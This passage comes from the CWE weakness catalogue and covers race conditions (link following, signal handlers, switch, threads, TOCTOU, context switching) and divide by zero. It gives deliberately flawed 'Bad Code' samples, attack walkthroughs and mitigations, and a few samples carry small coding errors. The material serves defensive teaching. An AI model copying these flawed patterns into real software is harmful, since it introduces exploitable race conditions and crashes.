- Andrei Alexandrescu. "volatile - Multithreaded Programmer's Best Friend". Dr. Dobbs's. 2008-02-01. < <http://www.ddj.com/cpp/184403766> >.
- Steven Devijver. "Thread-safe webapps using Spring". < <http://www.javalobby.org/articles/thread-safe/index.jsp> >.
- David Wheeler. "Prevent race conditions". 2007-10-04. < <http://www.ibm.com/developerworks/library/l-sprace.html> >.
- Matt Bishop. "Race Conditions, Files, and Security Flaws; or the Tortoise and the Hare Redux". September 1995. < <http://www.cs.ucdavis.edu/research/tech-reports/1995/CSE-95-9.pdf> >.
- David Wheeler. "Secure Programming for Linux and Unix HOWTO". 2003-03-03. < <http://www.dwheeler.com/secure-programs/Secure-Programs-HOWTO/avoid-race.html> >.
- Blake Watts. "Discovering and Exploiting Named Pipe Security Flaws for Fun and Profit". April 2002. < <http://www.blakewatts.com/namedpipepaper.html> >.
- Roberto Paleari, Davide Marrone, Danilo Bruschi and Mattia Monga. "On Race Vulnerabilities in Web Applications". < <http://security.dico.unimi.it/~roberto/pubs/dimva08-web.pdf> >.
- "Avoiding Race Conditions and Insecure File Operations". Apple Developer Connection. < <http://developer.apple.com/documentation/Security/Conceptual/SecureCodingGuide/Articles/RaceConditions.html> >.
- Johannes Ullrich. "Top 25 Series - Rank 25 - Race Conditions". SANS Software Security Institute. 2010-03-26. < <http://blogs.sans.org/appsecstreetfighter/2010/03/26/top-25-series-rank-25-race-conditions/> >.
- [REF-31] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. < <https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html> >.

## Maintenance Notes

The relationship between race conditions and synchronization problems (CWE-662) needs to be further developed. They are not necessarily two perspectives of the same core concept, since synchronization is only one technique for avoiding race conditions, and synchronization can be used for other purposes besides race condition prevention.

# CWE-363: Race Condition Enabling Link Following

Weakness ID: 363 (Weakness Base)

Status: Draft

## Description

### Summary

The software checks the status of a file or directory before accessing it, which produces a race condition in which the file can be replaced with a link before the access is performed, causing the software to access the wrong file.

### Extended Description



While developers might expect that there is a very narrow time window between the time of check and time of use, there is still a race condition. An attacker could cause the software to slow down (e.g. with memory consumption), causing the time window to become larger. Alternately, in some situations, the attacker could win the race by performing a large number of attacks.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

##### Confidentiality

##### Integrity

##### Read files or directories

##### Modify files or directories

#### Demonstrative Examples

This code prints the contents of a file if a user has permission.

##### PHP Example:

*Bad Code*

```
function readFile($filename){
    $user = getCurrentUser();
    //resolve file if its a symbolic link
    if(is_link($filename)){
        $filename = readlink($filename);
    }
    if(fileowner($filename) == $user){
        echo file_get_contents($realFile);
        return;
    }
    else{
        echo 'Access denied';
        return false;
    }
}
```

This code attempts to resolve symbolic links before checking the file and printing its contents. However, an attacker may be able to change the file from a real file to a symbolic link between the calls to `is_link()` and `file_get_contents()`, allowing the reading of arbitrary files. Note that this code fails to log the attempted access (CWE-778).

#### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
CanPrecede	<b>B</b>	59	Improper Link Resolution Before File Access ('Link Following')		91
ChildOf	<b>B</b>	367	Time-of-check Time-of-use (TOCTOU) Race Condition		642
ChildOf	<b>C</b>	748	CERT C Secure Coding Section 50 - POSIX (POS)		1137
ChildOf	<b>C</b>	988	SFP Secondary Cluster: Race Condition Window		1387

#### Relationship Notes

This is already covered by the "Link Following" weakness (CWE-59). It is included here because so many people associate race conditions with link problems; however, not all link following issues involve race conditions.

#### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Race condition enabling link following
CERT C Secure Coding	POS35-C	Avoid race conditions while checking for the existence of a symbolic link
Software Fault Patterns	SFP20	Race Condition Window

#### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
26	Leveraging Race Conditions	

## References

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 9, "Race Conditions", Page 526.. 1st Edition. Addison Wesley. 2006.

# CWE-364: Signal Handler Race Condition

Weakness ID: 364 (*Weakness Base*)

Status: Incomplete

## Description

### Summary

The software uses a signal handler that introduces a race condition.

### Extended Description

Race conditions frequently occur in signal handlers, since signal handlers support asynchronous actions. These race conditions have a variety of root causes and symptoms. Attackers may be able to exploit a signal handler race condition to cause the software state to be corrupted, possibly leading to a denial of service or even code execution.

These issues occur when non-reentrant functions, or state-sensitive actions occur in the signal handler, where they may be called at any time. These behaviors can violate assumptions being made by the "regular" code that is interrupted, or by other signal handlers that may also be invoked. If these functions are called at an inopportune moment - such as while a non-reentrant function is already running - memory corruption could occur that may be exploitable for code execution. Another signal race condition commonly found occurs when free is called within a signal handler, resulting in a double free and therefore a write-what-where condition. Even if a given pointer is set to NULL after it has been freed, a race condition still exists between the time the memory was freed and the pointer was set to NULL. This is especially problematic if the same signal handler has been set for more than one signal -- since it means that the signal handler itself may be reentered.

There are several known behaviors related to signal handlers that have received the label of "signal handler race condition":

- Shared state (e.g. global data or static variables) that are accessible to both a signal handler and "regular" code

- Shared state between a signal handler and other signal handlers

- Use of non-reentrant functionality within a signal handler - which generally implies that shared state is being used. For example, malloc() and free() are non-reentrant because they may use global or static data structures for managing memory, and they are indirectly used by innocent-seeming functions such as syslog(); these functions could be exploited for memory corruption and, possibly, code execution.

- Association of the same signal handler function with multiple signals - which might imply shared state, since the same code and resources are accessed. For example, this can be a source of double-free and use-after-free weaknesses.

- Use of setjmp and longjmp, or other mechanisms that prevent a signal handler from returning control back to the original functionality

- While not technically a race condition, some signal handlers are designed to be called at most once, and being called more than once can introduce security problems, even when there are not any concurrent calls to the signal handler. This can be a source of double-free and use-after-free weaknesses.

Signal handler vulnerabilities are often classified based on the absence of a specific protection mechanism, although this style of classification is discouraged in CWE because programmers often have a choice of several different mechanisms for addressing the weakness. Such protection mechanisms may preserve exclusivity of access to the shared resource, and behavioral atomicity for the relevant code:

- Avoiding shared state

- Using synchronization in the signal handler

Using synchronization in the regular code  
Disabling or masking other signals, which provides atomicity (which effectively ensures exclusivity)

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- C (*Sometimes*)
- C++ (*Sometimes*)

### Common Consequences

#### Integrity

#### Confidentiality

#### Availability

#### Modify application data

#### Modify memory

#### DoS: crash / exit / restart

#### Execute unauthorized code or commands

It may be possible to cause data corruption and possibly execute arbitrary code by modifying global variables or data structures at unexpected times, violating the assumptions of code that uses this global data.

#### Access Control

#### Gain privileges / assume identity

If a signal handler interrupts code that is executing with privileges, it may be possible that the signal handler will also be executed with elevated privileges, possibly making subsequent exploits more severe.

### Likelihood of Exploit

Medium

### Demonstrative Examples

#### Example 1:

This code registers the same signal handler function with two different signals (CWE-831). If those signals are sent to the process, the handler creates a log message (specified in the first argument to the program) and exits.

*Bad Code*

```
char *logMessage;
void handler (int sigNum) {
    syslog(LOG_NOTICE, "%s\n", logMessage);
    free(logMessage);
    /* artificially increase the size of the timing window to make demonstration of this weakness easier. */
    sleep(10);
    exit(0);
}
int main (int argc, char* argv[]) {
    logMessage = strdup(argv[1]);
    /* Register signal handlers. */
    signal(SIGHUP, handler);
    signal(SIGTERM, handler);
    /* artificially increase the size of the timing window to make demonstration of this weakness easier. */
    sleep(10);
}
```

The handler function uses global state (globalVar and logMessage), and it can be called by both the SIGHUP and SIGTERM signals. An attack scenario might follow these lines:

The program begins execution, initializes logMessage, and registers the signal handlers for SIGHUP and SIGTERM.

The program begins its "normal" functionality, which is simplified as sleep(), but could be any functionality that consumes some time.

The attacker sends SIGHUP, which invokes handler (call this "SIGHUP-handler"). SIGHUP-handler begins to execute, calling syslog(). syslog() calls malloc(), which is non-reentrant. malloc() begins to modify metadata to manage the heap. The attacker then sends SIGTERM. SIGHUP-handler is interrupted, but syslog's malloc call is still executing and has not finished modifying its metadata. The SIGTERM handler is invoked. SIGTERM-handler records the log message using syslog(), then frees the logMessage variable. At this point, the state of the heap is uncertain, because malloc is still modifying the metadata for the heap; the metadata might be in an inconsistent state. The SIGTERM-handler call to free() is assuming that the metadata is inconsistent, possibly causing it to write data to the wrong location while managing the heap. The result is memory corruption, which could lead to a crash or even code execution, depending on the circumstances under which the code is running. Note that this is an adaptation of a classic example as originally presented by Michal Zalewski [R.364.1]; the original example was shown to be exploitable for code execution. Also note that the strdup(argv[1]) call contains a potential buffer over-read (CWE-126) if the program is called without any arguments, because argc would be 0, and argv[1] would point outside the bounds of the array.

### Example 2:

The following code registers a signal handler with multiple signals in order to log when a specific event occurs and to free associated memory before exiting.

#### C Example:

*Bad Code*

```
#include <signal.h>
#include <syslog.h>
#include <string.h>
#include <stdlib.h>
void *global1, *global2;
char *what;
void sh (int dummy) {
    syslog(LOG_NOTICE, "%s\n", what);
    free(global2);
    free(global1);
    /* Sleep statements added to expand timing window for race condition */
    sleep(10);
    exit(0);
}
int main (int argc, char* argv[]) {
    what=argv[1];
    global1=strdup(argv[2]);
    global2=malloc(340);
    signal(SIGHUP, sh);
    signal(SIGTERM, sh);
    /* Sleep statements added to expand timing window for race condition */
    sleep(10);
    exit(0);
}
```

However, the following sequence of events may result in a double-free (CWE-415):

- a SIGHUP is delivered to the process
- sh() is invoked to process the SIGHUP
- This first invocation of sh() reaches the point where global1 is freed
- At this point, a SIGTERM is sent to the process
- the second invocation of sh() might do another free of global1
- this results in a double-free (CWE-415)

This is just one possible exploitation of the above code. As another example, the syslog call may use malloc calls which are not async-signal safe. This could cause corruption of the heap

management structures. For more details, consult the example within "Delivering Signals for Fun and Profit" [R.364.1].

### Observed Examples

Reference	Description
CVE-1999-0035	Signal handler does not disable other signal handlers, allowing it to be interrupted, causing other functionality to access files/etc. with raised privileges
CVE-2001-0905	Attacker can send a signal while another signal handler is already running, leading to crash or execution with root privileges
CVE-2001-1349	unsafe calls to library functions from signal handler
CVE-2004-0794	SIGURG can be used to remotely interrupt signal handler; other variants exist
CVE-2004-2259	handler for SIGCHLD uses non-reentrant functions

### Potential Mitigations

#### Requirements

#### Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

#### Architecture and Design

Design signal handlers to only set flags, rather than perform complex functionality. These flags can then be checked and acted upon within the main program loop.

#### Implementation

Only use reentrant functions within signal handlers. Also, use sanity checks to ensure that state is consistent while performing asynchronous actions that affect the state of execution.

### Relationships

Nature	Type	ID	Name	CVSS	Page
CanPrecede	B	123	Write-what-where Condition	1000	248
ChildOf	C	361	Time and State	700	626
ChildOf	G	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	699 1000	627
ChildOf	C	387	Signal Errors	699	668
CanPrecede	V	415	Double Free	1000	716
CanPrecede	B	416	Use After Free	1000	719
ChildOf	C	634	Weaknesses that Affect System Processes	631	982
ChildOf	C	986	SFP Secondary Cluster: Missing Lock	888	1386
PeerOf	B	365	<i>Race Condition in Switch</i>	1000	639
CanAlsoBe	B	368	<i>Context Switching Race Condition</i>	1000	645
ParentOf	B	432	<i>Dangerous Signal Handler not Disabled During Sensitive Operations</i>	699 1000	740
ParentOf	B	828	<i>Signal Handler with Functionality that is not Asynchronous-Safe</i>	699 1000	1259
ParentOf	B	831	<i>Signal Handler Function Associated with Multiple Signals</i>	699 1000	1268
MemberOf	V	884	CWE Cross-section	884	1319

### Research Gaps

Probably under-studied.

### Affected Resources

- System Process

### Functional Areas

- Signals, interprocess communication

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Signal handler race condition
7 Pernicious Kingdoms		Signal Handling Race Conditions
CLASP		Race condition in signal handler
Software Fault Patterns	SFP19	Missing Lock

## References

- [REF-53] Michal Zalewski. "Delivering Signals for Fun and Profit". < <http://lcamtuf.coredump.cx/signals.txt> >.
- [REF-54] "Race Condition: Signal Handling". < [http://www.fortify.com/vulncat/en/vulncat/cpp/race\\_condition\\_signal\\_handling.html](http://www.fortify.com/vulncat/en/vulncat/cpp/race_condition_signal_handling.html) >.
- [REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 13: Race Conditions." Page 205. McGraw-Hill. 2010.
- [REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 13, "Signal Vulnerabilities", Page 791.. 1st Edition. Addison Wesley. 2006.

# CWE-365: Race Condition in Switch

**Weakness ID:** 365 (*Weakness Base*)

**Status:** Draft

## Description

### Summary

The code contains a switch statement in which the switched variable can be modified while the switch is still executing, resulting in unexpected behavior.

### Extended Description

This issue is particularly important in the case of switch statements that involve fall-through style case statements - i.e., those which do not end with break. If the variable being tested by the switch changes in the course of execution, this could change the intended logic of the switch so much that it places the process in a contradictory state and in some cases could even result in memory corruption.

## Time of Introduction

- Implementation

## Applicable Platforms

### Languages

- C
- C++
- Java
- .NET

## Common Consequences

### Integrity

### Other

### Alter execution logic

### Unexpected state

This weakness may lead to unexpected system state, resulting in unpredictable behavior.

## Likelihood of Exploit

Medium

## Demonstrative Examples

This example has a switch statement that executes different code depending on the current time.

### C/C++ Example:

*Bad Code*

```
#include <sys/types.h>
#include <sys/stat.h>
int main(argc,argv){
    struct stat *sb;
    time_t timer;
    lstat("bar.sh",sb);
    printf("%d\n",sb->st_ctime);
    switch(sb->st_ctime % 2){
        case 0: printf("One option\n");
            break;
        case 1: printf("another option\n");
            break;
        default: printf("huh\n");
            break;
    }
}
```

```
return 0;
}
```

It seems that the default case of the switch statement should never be reached, as `st_ctime % 2` should always be 0 or 1. However, if `st_ctime % 2` is 1 when the first case is evaluated, the time may change and `st_ctime % 2` may be equal to 0 when the second case is evaluated. The result is that neither case 1 or case 2 execute, and the default option is chosen.

### Potential Mitigations

#### Implementation

Variables that may be subject to race conditions should be locked before the switch statement starts and only unlocked after the statement ends.

### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
PeerOf	<b>B</b>	364	Signal Handler Race Condition	1000	635
PeerOf	<b>B</b>	366	Race Condition within a Thread	1000	640
ChildOf	<b>B</b>	367	Time-of-check Time-of-use (TOCTOU) Race Condition	<b>699</b> <b>1000</b>	642
ChildOf	<b>C</b>	748	CERT C Secure Coding Section 50 - POSIX (POS)	<b>734</b>	1137
ChildOf	<b>C</b>	986	SFP Secondary Cluster: Missing Lock	<b>888</b>	1386

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Race condition in switch
CERT C Secure Coding	POS35-C	Avoid race conditions while checking for the existence of a symbolic link
Software Fault Patterns	SFP19	Missing Lock

### References

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 13: Race Conditions." Page 205. McGraw-Hill. 2010.

## CWE-366: Race Condition within a Thread

Weakness ID: 366 (*Weakness Base*)

Status: Draft

### Description

#### Summary

If two threads of execution use a resource simultaneously, there exists the possibility that resources may be used while invalid, in turn making the state of execution undefined.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

##### Languages

- C
- C++
- Java
- .NET

#### Common Consequences

##### Integrity

##### Other

##### Alter execution logic

##### Unexpected state

The main problem is that -- if a lock is overcome -- data could be altered in a bad state.

#### Likelihood of Exploit

Medium

#### Demonstrative Examples



**C/C++ Example:**

Bad Code

```
int foo = 0;
int storenum(int num) {
    static int counter = 0;
    counter++;
    if (num > foo) foo = num;
    return foo;
}
```

**Java Example:**

Bad Code

```
public class Race {
    static int foo = 0;
    public static void main() {
        new Threader().start();
        foo = 1;
    }
    public static class Threader extends Thread {
        public void run() {
            System.out.println(foo);
        }
    }
}
```

**Potential Mitigations****Architecture and Design**

Use locking functionality. This is the recommended solution. Implement some form of locking mechanism around code which alters or reads persistent data in a multithreaded environment.

**Architecture and Design**

Create resource-locking sanity checks. If no inherent locking mechanisms exist, use flags and signals to enforce your own blocking scheme when resources are being used by other threads of execution.

**Relationships**

Nature	Type	ID	Name	V	Page
ChildOf		362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	<b>699</b> <b>1000</b>	627
ChildOf		557	Concurrency Issues	699	893
ChildOf		634	Weaknesses that Affect System Processes	<b>631</b>	982
ChildOf		748	CERT C Secure Coding Section 50 - POSIX (POS)	<b>734</b>	1137
ChildOf		852	CERT Java Secure Coding Section 07 - Visibility and Atomicity (VNA)	<b>844</b>	1294
ChildOf		882	CERT C++ Secure Coding Section 14 - Concurrency (CON)	<b>868</b>	1318
ChildOf		986	SFP Secondary Cluster: Missing Lock	<b>888</b>	1386
PeerOf		365	<i>Race Condition in Switch</i>	1000	639

**Affected Resources**

- System Process

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Race condition within a thread
CERT C Secure Coding	POS00-C	Avoid race conditions with multiple threads
CERT Java Secure Coding	VNA02-J	Ensure that compound operations on shared variables are atomic
CERT Java Secure Coding	VNA03-J	Do not assume that a group of calls to independently atomic methods is atomic
CERT C++ Secure Coding	CON02-CPP	Use lock classes for mutex management
Software Fault Patterns	SFP19	Missing Lock

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
26	Leveraging Race Conditions	

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
29	Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions	

## References

- [REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 13: Race Conditions." Page 205. McGraw-Hill. 2010.
- [REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 13, "Race Conditions", Page 759.. 1st Edition. Addison Wesley. 2006.

# CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition

**Weakness ID:** 367 (*Weakness Base*) **Status:** Incomplete

## Description

### Summary

The software checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check. This can cause the software to perform invalid actions when the resource is in an unexpected state.

### Extended Description

This weakness can be security-relevant when an attacker can influence the state of the resource between check and use. This can happen with shared resources such as files, memory, or even variables in multithreaded programs.

## Alternate Terms

### TOCTTOU

The TOCTTOU acronym expands to "Time Of Check To Time Of Use".

### TOCCTOU

The TOCCTOU acronym is most likely a typo of TOCTTOU, but it has been used in some influential documents, so the typo is repeated fairly frequently.

## Time of Introduction

- Implementation

## Applicable Platforms

### Languages

- All

## Common Consequences

### Integrity

#### Other

#### Alter execution logic

#### Unexpected state

The attacker can gain access to otherwise unauthorized resources.

### Integrity

#### Other

#### Modify application data

#### Modify files or directories

#### Modify memory

#### Other

Race conditions such as this kind may be employed to gain read or write access to resources which are not normally readable or writable by the user in question.

### Integrity

#### Other

#### Other

The resource in question, or other resources (through the corrupted one), may be changed in undesirable ways by a malicious user.

**Non-Repudiation****Hide activities**

If a file or other resource is written in this method, as opposed to in a valid way, logging of the activity may not occur.

**Non-Repudiation****Other****Other**

In some cases it may be possible to delete files a malicious user might not otherwise have access to, such as log files.

**Likelihood of Exploit**

Low to Medium

**Demonstrative Examples****Example 1:**

The following code checks a file, then updates its contents.

**C/C++ Example:***Bad Code*

```
struct stat *sb;
...
lstat(".",sb); // it has not been updated since the last time it was read
printf("stated file\n");
if (sb->st_mtimespec==...){
    print("Now updating things\n");
    updateThings();
}
```

Potentially the file could have been updated between the time of the check and the lstat, especially since the printf has latency.

**Example 2:**

The following code is from a program installed setuid root. The program performs certain file operations on behalf of non-privileged users, and uses access checks to ensure that it does not use its root privileges to perform operations that should otherwise be unavailable the current user. The program uses the access() system call to check if the person running the program has permission to access the specified file before it opens the file and performs the necessary operations.

**C Example:***Bad Code*

```
if(!access(file,W_OK)) {
    f = fopen(file,"w+");
    operate(f);
    ...
}
else {
    fprintf(stderr,"Unable to open file %s.\n",file);
}
```

The call to access() behaves as expected, and returns 0 if the user running the program has the necessary permissions to write to the file, and -1 otherwise. However, because both access() and fopen() operate on filenames rather than on file handles, there is no guarantee that the file variable still refers to the same file on disk when it is passed to fopen() that it did when it was passed to access(). If an attacker replaces file after the call to access() with a symbolic link to a different file, the program will use its root privileges to operate on the file even if it is a file that the attacker would otherwise be unable to modify. By tricking the program into performing an operation that would otherwise be impermissible, the attacker has gained elevated privileges. This type of vulnerability is not limited to programs with root privileges. If the application is capable of performing any operation that the attacker would not otherwise be allowed perform, then it is a possible target.

**Example 3:**

This code prints the contents of a file if a user has permission.

**PHP Example:**

Bad Code

```
function readFile($filename){
    $user = getCurrentUser();
    //resolve file if its a symbolic link
    if(is_link($filename)){
        $filename = readlink($filename);
    }
    if(fileowner($filename) == $user){
        echo file_get_contents($realFile);
        return;
    }
    else{
        echo 'Access denied';
        return false;
    }
}
```

This code attempts to resolve symbolic links before checking the file and printing its contents. However, an attacker may be able to change the file from a real file to a symbolic link between the calls to `is_link()` and `file_get_contents()`, allowing the reading of arbitrary files. Note that this code fails to log the attempted access (CWE-778).

**Observed Examples**

Reference	Description
CVE-2003-0813	A multi-threaded race condition allows remote attackers to cause a denial of service (crash or reboot) by causing two threads to process the same RPC request, which causes one thread to use memory after it has been freed.
CVE-2004-0594	PHP flaw allows remote attackers to execute arbitrary code by aborting execution before the initialization of key data structures is complete.
CVE-2008-1570	chain: time-of-check time-of-use (TOCTOU) race condition in program allows bypass of protection mechanism that was designed to prevent symlink attacks.
CVE-2008-2958	chain: time-of-check time-of-use (TOCTOU) race condition in program allows bypass of protection mechanism that was designed to prevent symlink attacks.

**Potential Mitigations****Implementation**

The most basic advice for TOCTOU vulnerabilities is to not perform a check before the use. This does not resolve the underlying issue of the execution of a function on a resource whose state and identity cannot be assured, but it does help to limit the false sense of security given by the check.

**Implementation**

When the file being altered is owned by the current user and group, set the effective gid and uid to that of the current user and group when executing this statement.

**Architecture and Design**

Limit the interleaving of operations on files from multiple processes.

**Implementation****Architecture and Design**

If you cannot perform operations atomically and you must share access to the resource between multiple processes or threads, then try to limit the amount of time (CPU cycles) between the check and use of the resource. This will not fix the problem, but it could make it more difficult for an attack to succeed.

**Implementation**

Recheck the resource after the use call to verify that the action was taken appropriately.

**Architecture and Design**

Ensure that some environmental locking mechanism can be used to protect resources effectively.

**Implementation**

Ensure that locking occurs before the check, as opposed to afterwards, such that the resource, as checked, is the same as it is when in use.

**Relationships**

Nature	Type	ID	Name	CVSS	Page
ChildOf	C	361	Time and State	700	626
ChildOf	G	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	699 1000	627
ChildOf	C	743	CERT C Secure Coding Section 09 - Input Output (FIO)	734	1135
ChildOf	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	1315
ChildOf	C	988	SFP Secondary Cluster: Race Condition Window	888	1387
ParentOf	B	363	<i>Race Condition Enabling Link Following</i>	699 1000	633
ParentOf	B	365	<i>Race Condition in Switch</i>	699 1000	639
PeerOf	B	386	<i>Symbolic Name not Mapping to Correct Object</i>	1000	667
CanFollow	B	609	<i>Double-Checked Locking</i>	1000	955
MemberOf	V	630	<i>Weaknesses Examined by SAMATE</i>	630	980
MemberOf	V	884	<i>CWE Cross-section</i>	884	1319

### Relationship Notes

TOCTOU issues do not always involve symlinks, and not every symlink issue is a TOCTOU problem.

### Research Gaps

Non-symlink TOCTOU issues are not reported frequently, but they are likely to occur in code that attempts to be secure.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Time-of-check Time-of-use race condition
7 Pernicious Kingdoms		File Access Race Conditions: TOCTOU
CLASP		Time of check, time of use race condition
CERT C Secure Coding	FIO01-C	Be careful using functions that use file names for identification
CERT C++ Secure Coding	FIO01-CPP	Be careful using functions that use file names for identification
Software Fault Patterns	SFP20	Race Condition Window

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
27	Leveraging Race Conditions via Symbolic Links	
29	Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions	

### White Box Definitions

A weakness where code path has:

1. start statement that validates a system resource by name rather than by reference
2. end statement that accesses the system resource by the name

### References

Dan Tsafir, Tomer Hertz, David Wagner and Dilma Da Silva. "Portably Solving File TOCTOU Races with Hardness Amplification". 2008-02-28. < <http://www.usenix.org/events/fast08/tech/tsafir.html> >.

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 13: Race Conditions." Page 205. McGraw-Hill. 2010.

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 9, "TOCTOU", Page 527.. 1st Edition. Addison Wesley. 2006.

## CWE-368: Context Switching Race Condition

Weakness ID: 368 (Weakness Base)

Status: Draft

### Description

#### Summary

A product performs a series of non-atomic actions to switch between contexts that cross privilege or other security boundaries, but a race condition allows an attacker to modify or misrepresent the product's behavior during the switch.

**Extended Description**

This is commonly seen in web browser vulnerabilities in which the attacker can perform certain actions while the browser is transitioning from a trusted to an untrusted domain, or vice versa, and the browser performs the actions on one domain using the trust level and resources of the other domain.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**

- All

**Common Consequences**

**Integrity**

**Confidentiality**

**Modify application data**

**Read application data**

**Observed Examples**

Reference	Description
CVE-2004-0191	XSS when web browser executes Javascript events in the context of a new page while it's being loaded, allowing interaction with previous page in different domain.
CVE-2004-2260	Browser updates address bar as soon as user clicks on a link instead of when the page has loaded, allowing spoofing by redirecting to another page using onUnload method. ** this is one example of the role of "hooks" and context switches, and should be captured somehow - also a race condition of sorts **
CVE-2004-2491	Web browser fills in address bar of clicked-on link before page has been loaded, and doesn't update afterward.
CVE-2009-1837	Chain: race condition (CWE-362) from improper handling of a page transition in web client while an applet is loading (CWE-368) leads to use after free (CWE-416)

**Weakness Ordinalities**

**Primary** (where the weakness exists independent of other weaknesses)

This weakness can be primary to almost anything, depending on the context of the race condition.

**Resultant** (where the weakness is typically related to the presence of some other weaknesses)

This weakness can be resultant from insufficient compartmentalization (CWE-653), incorrect locking, improper initialization or shutdown, or a number of other weaknesses.

**Relationships**

Nature	Type	ID	Name	CVSS	Page
ChildOf		362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	<b>699</b> <b>1000</b>	627
CanAlsoBe		364	Signal Handler Race Condition	1000	635
ChildOf		986	SFP Secondary Cluster: Missing Lock	<b>888</b>	1386

**Relationship Notes**

Can overlap signal handler race conditions.

**Research Gaps**

Under-studied as a concept. Frequency unknown; few vulnerability reports give enough detail to know when a context switching race condition is a factor.

**Taxonomy Mappings**

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Context Switching Race Condition

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
26	Leveraging Race Conditions	
29	Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions	

## References

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 13: Race Conditions." Page 205. McGraw-Hill. 2010.

# CWE-369: Divide By Zero

Weakness ID: 369 (Weakness Base)

Status: Draft

## Description

### Summary

The product divides a value by zero.

### Extended Description

This weakness typically occurs when an unexpected value is provided to the product, or if an error occurs that is not properly detected. It frequently occurs in calculations involving physical dimensions such as size, length, width, and height.

### Time of Introduction

- Implementation

### Common Consequences

#### Availability

#### DoS: crash / exit / restart

A Divide by Zero results in a crash.

### Likelihood of Exploit

Medium

### Demonstrative Examples

#### Example 1:

The following Java example contains a function to compute an average but does not validate that the input value used as the denominator is not zero. This will create an exception for attempting to divide by zero. If this error is not handled by Java exception handling, unexpected results can occur.

#### Java Example:

*Bad Code*

```
public int computeAverageResponseTime (int totalTime, int numRequests) {
    return totalTime / numRequests;
}
```

By validating the input value used as the denominator the following code will ensure that a divide by zero error will not cause unexpected results. The following Java code example will validate the input value, output an error message, and throw an exception.

*Good Code*

```
public int computeAverageResponseTime (int totalTime, int numRequests) throws ArithmeticException {
    if (numRequests == 0) {
        System.out.println("Division by zero attempted!");
        throw ArithmeticException;
    }
    return totalTime / numRequests;
}
```

#### Example 2:

The following C/C++ example contains a function that divides two numeric values without verifying that the input value used as the denominator is not zero. This will create an error for attempting to divide by zero, if this error is not caught by the error handling capabilities of the language, unexpected results can occur.

#### C/C++ Example:

*Bad Code*

```
double divide(double x, double y){
    return x/y;
```



```
}

```

By validating the input value used as the denominator the following code will ensure that a divide by zero error will not cause unexpected results. If the method is called and a zero is passed as the second argument a DivideByZero error will be thrown and should be caught by the calling block with an output message indicating the error.

Good Code

```
const int DivideByZero = 10;
double divide(double x, double y){
    if ( 0 == y){
        throw DivideByZero;
    }
    return x/y;
}
...
try{
    divide(10, 0);
}
catch( int i ){
    if(i==DivideByZero) {
        cerr<<"Divide by zero error";
    }
}
```

### References

< <http://www.cprogramming.com/tutorial/exceptions.html> >.

### Example 3:

The following C# example contains a function that divides two numeric values without verifying that the input value used as the denominator is not zero. This will create an error for attempting to divide by zero, if this error is not caught by the error handling capabilities of the language, unexpected results can occur.

### C# Example:

Bad Code

```
int Division(int x, int y){
    return (x / y);
}
```

The method can be modified to raise, catch and handle the DivideByZeroException if the input value used as the denominator is zero.

Good Code

```
int SafeDivision(int x, int y){
    try{
        return (x / y);
    }
    catch (System.DivideByZeroException dbz){
        System.Console.WriteLine("Division by zero attempted!");
        return 0;
    }
}
```

### References

Microsoft Corporation. < [http://msdn.microsoft.com/en-us/library/ms173160\(VS.80\).aspx](http://msdn.microsoft.com/en-us/library/ms173160(VS.80).aspx) >.

### Observed Examples

Reference	Description
CVE-2007-2237	Height value of 0 triggers divide by zero.
CVE-2007-2723	"Empty" content triggers divide by zero.
CVE-2007-3268	Invalid size value leads to divide by zero.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf		682	Incorrect Calculation	<input checked="" type="checkbox"/>	699 1060
ChildOf		730	OWASP Top Ten 2004 Category A9 - Denial of Service	<input checked="" type="checkbox"/>	711 1120

